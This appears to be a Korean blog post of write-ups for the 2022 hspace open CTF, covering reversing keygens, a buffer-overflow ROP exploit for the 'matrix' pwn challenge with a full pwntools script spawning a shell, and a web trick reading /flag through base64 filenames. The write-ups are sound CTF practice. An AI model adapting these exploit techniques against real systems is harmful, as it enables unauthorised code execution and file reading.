본문 바로가기
CTF

(CTF) 2022 hspace open CTF writeup

by snwo 2022. 1. 16.

(REV)

Crack Space

MFC 로 만든 keygen 문제이다.

아마 2바이트인 유니코드를 사용하는데,

플레그 포멧 안에 있는 글자의 길이는 31 이고,

0 부터 31까지 반복문을 돌면서

i 가 홀수 → 해당 인덱스와 다른값이랑 xor

i 가 짝수 → 문자열 뒤집기

위와 같은 암호화를 진행한다.

[0, 15, 0, 2, 0, 13, 0, 4, 0, 11, 0, 6, 0, 9, 0, 8, 0, 7, 0, 10, 0, 5, 0, 12, 0, 3, 0, 14, 0, 1, 0]

이 순서로 암호화 되는데, 띄엄띄엄 암호화된다. ㅋㅋ

뒤에서나 앞에서나 돌면서 똑같이 한 번 더 xor 해주면 풀린다.

solve.py

from pwn import u32
cmp = [0x53, 0x0, 0x0, 0x0, 0xa5, 0x0, 0x0, 0x0, 0x6d, 0x0, 0x0, 0x0, 0xde, 0x0, 0x0, 0x0, 0x6c, 0x0, 0x0, 0x0, 0x18, 0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0, 0x8d, 0x0, 0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x44, 0x0, 0x0, 0x0, 0x67, 0x0, 0x0, 0x0, 0xcc, 0x0, 0x0, 0x0, 0x6e, 0x0, 0x0, 0x0, 0x19, 0x0, 0x0, 0x0, 0x62, 0x0, 0x0, 0x0, 0x25, 0x0, 0x0,
       0x0, 0x70, 0x0, 0x0, 0x0, 0x77, 0x0, 0x0, 0x0, 0x73, 0x0, 0x0, 0x0, 0x65, 0x0, 0x0, 0x0, 0x5f, 0x0, 0x0, 0x0, 0x17, 0x0, 0x0, 0x0, 0x30, 0x0, 0x0, 0x0, 0x67, 0x0, 0x0, 0x0, 0x64, 0x0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x0, 0x4a, 0x0, 0x0, 0x0, 0x1f, 0x0, 0x0, 0x0, 0x62, 0x0, 0x0, 0x0, 0xff, 0x0, 0x0, 0x0, 0x29, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0]

cmp = [cmp[4*x] for x in range(len(cmp)//4)][:-1]
box = [0xd1, 0x95, 0x0, 0x0, 0x16, 0x6d, 0x0, 0x0, 0x65, 0x9d, 0x0, 0x0, 0x56, 0xb3, 0x0, 0x0, 0x65, 0xd7, 0x0, 0x0, 0x11, 0x1, 0x0, 0x0, 0x5c, 0x5c, 0x0, 0x0, 0x30, 0xa3, 0x0, 0x0, 0x48, 0x1d, 0x0, 0x0, 0xa9, 0x62, 0x0, 0x0, 0x47, 0xc5, 0x0, 0x0, 0xc3, 0x7c, 0x0, 0x0, 0xa3, 0x90, 0x0, 0x0, 0x27, 0x73, 0x0, 0x0, 0x7c, 0xf1, 0x0, 0x0, 0xcc,
       0x6b, 0x0, 0x0, 0x3c, 0x9f, 0x0, 0x0, 0x1a, 0xd7, 0x0, 0x0, 0x28, 0xdb, 0x0, 0x0, 0xe7, 0x3c, 0x0, 0x0, 0x9, 0xa2, 0x0, 0x0, 0x39, 0xb1, 0x0, 0x0, 0xf7, 0x94, 0x0, 0x0, 0x70, 0xf6, 0x0, 0x0, 0xef, 0x8a, 0x0, 0x0, 0xe4, 0xa7, 0x0, 0x0, 0xc5, 0x6b, 0x0, 0x0, 0xcd, 0x4e, 0x0, 0x0, 0x82, 0xab, 0x0, 0x0, 0x16, 0xed, 0x0, 0x0, 0xaf, 0x95, 0x0, 0x0]
box = list(map(lambda x: u32(bytes(box[x:x+4])), range(0, 124, 4)))
print(box)
for i in range(30, -1, -1):
    if i % 2 == 0:
        cmp = cmp[::-1]
    else:
        cmp[i] ^= box[i] >> 15 ^ box[box[i] % 0x1f]
        cmp[i] &= 0xff
print(cmp)
print("".join(list(map(chr, cmp))))
print(len(box))

self


흠..

입력한 문자열을 5글자씩 가져와서 이 입력값을 바탕으로 쉬프트연산 한 뒤 각각의 인덱스를 만든다. 입력한 문자열 전체에 대해 해당 인덱스 8개에 해당하는 값들을 ptr 에 집어넣는다.

플레그가 32바이트니까 7번 반복한다.

flag prefix (hspace{) 를 알고있으니,

먼저 이 값을 바탕으로 인덱스를 구해 ptr 의 8글자를 원래 인덱스로 돌려놓는다.

그리고 그 값을 바탕으로 이 과정을 반복한다.

hspace{||||7h1rty|w0|1th_f|4g}”

그러면 | 를 제외한 나머지 플래그를 어느정도 복구할 수 있다.

f|4g → f14g, fl4g , 내가 문제를 내도 fl4g 라고 할 것 같아서 게싱

|1th -> w1th , w 으로 게싱

7h1rty|w0 -> 7h1rtytw0 , 약간 긴가민가 했는데 2022년이니까 t 로 게싱해서

hspace{||||_7h1rtytw0_w1th_fl4g}”

최종적으로 나온 플레그는 위와 같다.

md5 해시가 주어지니 그걸 바탕으로 4바이트 브루트포스 하면 다음의 플레그가 나온다.

hspace{b453_7h1rtytw0_w1th_fl4g}

solve.py

import string
from hashlib import md5
flag = b"""hsh1ht_a
7_4wchs_
{hrw1_sy
15_bt4a1
{sr117_0
hsrw7fs0
74gt""".split(b"\n")
print(flag)
tmp = 5

def _1209(x, y): return x << (~y+1) if y < 0 else x >> y

# = b"hspace{abcdefghijklmnopqrstuvwxyz}"

# 0 0 1 1 2 3 3 4
# f = [0xff]*32
# f[0] = ord("h")
# f[1] = ord("s")
# f[2] = ord("p")
# f[3] = ord("a")
# f[4] = ord("c")
# f[5] = ord("e")
# f[6] = ord("{")
# f[31] = ord("}")
# for k in range(7):
#     if k == 6:
#         tmp = 2
#     for i in range(8):
#         v8 = 5*i//8
#         v9 = 3-5*i % 8
#         if v8 >= tmp:
#             break
#         if f[v8+5*k] != 0xff:
#             v6 = _1209(f[v8+5*k], v9)
#             if v9 < 0 and v8 < tmp-1:
#                 if f[v8+5*k] == 0xff:
#                     continue
#                 v6 |= _1209(f[v8+5*k+1], v9+8)
#             print(f"flag[{v8}] ({chr(f[v8+5*k])}), {v6}")
#             if f[v6 & 0x1f] == 0xff:
#                 print(f"{chr(flag[k][i])} to flag[{v6&0x1f}]")
#                 f[v6 & 0x1f] = flag[k][i]
#     print(''.join(list(map(chr, f))))
# print(f)
flag_hash = "7d8c56232a5ec1cea022d7ea2ce658d4"
flag = b"hspace{||||_7h1rtytw0_w1th_fl4g}"
s = string.printable[:-3]
s = s.encode()
for i in s:
    for j in s:
        for k in s:
            for l in s:
                if md5(flag[:7]+bytes([i, j, k, l])+flag[11:]).hexdigest() == flag_hash:
                    print(flag[:7]+bytes([i, j, k, l])+flag[11:])
                    exit(0)
# hspace{b453_7h1rtytw0_w1th_fl4g}

SEA


# .zsh_history : 1642261864:0;python3 main.py **FIND_THE_FLAG** 1337

여기에 이렇게 seed 값이 적혀있다.

그래서 AES key, iv 를 구할 수 있고, ror, rol 몇 번 했는지 알 수 있다.

solve.py

# .zsh_history : 1642261864:0;python3 main.py **FIND_THE_FLAG** 1337
import binascii
import sys
import base64
import random
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import bitstring

def push(data):
    data.rol(1)
    return data

def pop(data):
    data.ror(1)
    return data

def custom_choice(length):
    words = string.printable
    res = ''
    for _ in range(length):
        res += random.choice(words)
    return res

def custom_number(boundary1, boundary2):
    return random.randint(boundary1, boundary2)

if __name__ == "__main__":
    seed = 1337
    random.seed(1337)
    key = custom_choice(32).encode()
    iv = custom_choice(16).encode()
    print(key)
    print(iv)
    in_cipher = bitstring.BitArray(
        hex='0x'+'f52d3924c5a5551d99ddbd48c8e11955d8e1e55519e4d0e5892db1556599d5e9d5ad95e904d551e9393925bc')
    r1 = custom_number(5, 15)
    r2 = custom_number(6, 15)
    for j in range(1, r2):
        in_cipher = push(in_cipher)
    for i in range(1, r1):
        in_cipher = pop(in_cipher)
    print(AES.new(key, AES.MODE_CBC, iv).decrypt(
        base64.b64decode(binascii.unhexlify(str(in_cipher)[2:]))))

(PWN)


matrix


보호기법은 canary, pie 정도 걸려있다.

원하는 사이즈 만큼의 N*N 행렬을 입력받고, 백터와 곱한 뒤 행렬곱을 출력해준다.

사이즈에 제한은 없으나, 버퍼는 64*64 으로 선언되어있으니,

사이즈에 65 를 입력하고

rbp-0x8018 + 512*i + 8*j

위 식으로 canary, return address 에 해당하는 offset 은 - 를 입력해 아무 값도 들어가지 않게 한다.

나머지는 0으로 채워준다.

canary 위치 : m[64][1]

ret 위치 : m[64][3]

백터에는 j 값이 3일 때만 1으로, 나머지는 0을 입력하면

return address 만 leak 된다.

이 후 다시 진행하여

m[64][3] 부터 ROP 해주면 쉘을 딸 수 있다.

ex.py

from pwn import *
import sys

if sys.argv.__len__() > 1:
    r = remote("112.161.27.49", 30002)
else:
    r = process("./matrix")
context.log_level = 'debug'
r.sendlineafter("Size: ", "65")
for j in range(65):
    for i in range(65):
        if j == 64 and i == 3:
            r.sendlineafter(" = ", "-")
        elif j == 64 and i == 1:
            r.sendlineafter(" = ", "-")
        else:
            r.sendlineafter(" = ", "0")
for j in range(65):
    if j == 3:
        r.sendlineafter(" = ", "1")
    else:
        r.sendlineafter(" = ", "0")
r.recvuntil("Result: ")
base = int(r.recvline().split()[-2])-0x0270b3
prdi = 0x0000000000026b72+base
system = 0x055410+base
binsh = 0x1b75aa+base
log.info(hex(base))
r.sendlineafter("[y/N] ", "y")
r.sendlineafter("Size: ", "65")
for j in range(65):
    for i in range(65):
        if j == 64 and i == 3:
            r.sendlineafter(" = ", str(prdi))
        elif j == 64 and i == 4:
            r.sendlineafter(" = ", str(binsh))
        elif j == 64 and i == 5:
            r.sendlineafter(" = ", str(prdi+1))
        elif j == 64 and i == 6:
            r.sendlineafter(" = ", str(system))
        elif j == 64 and i == 1:
            r.sendlineafter(" = ", "-")
        else:
            r.sendlineafter(" = ", "0")
for j in range(65):
    if j == 3:
        r.sendlineafter(" = ", "1")
    else:
        r.sendlineafter(" = ", "0")
r.recvuntil("Result: ")
r.recvline()
r.sendlineafter("[y/N] ", "N")
r.interactive()

(WEB)


babyphp


https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d


memo


닉네임을 ㅁㄴㅇㄹ 으로 하고 title 에 없는 파일인 ㅁㄴㅇㄹf 을 넘겨주면 위와 같은 오류가 뜬다.

파일명은 base64 encoding 돼서 저장된다.

닉네임을 빈칸으로 가입하고, title 에 base64 인코딩했을 때 flag 라고 뜨는 ~V%a0 를 입력해주면

/flag 파일을 읽을 수 있다.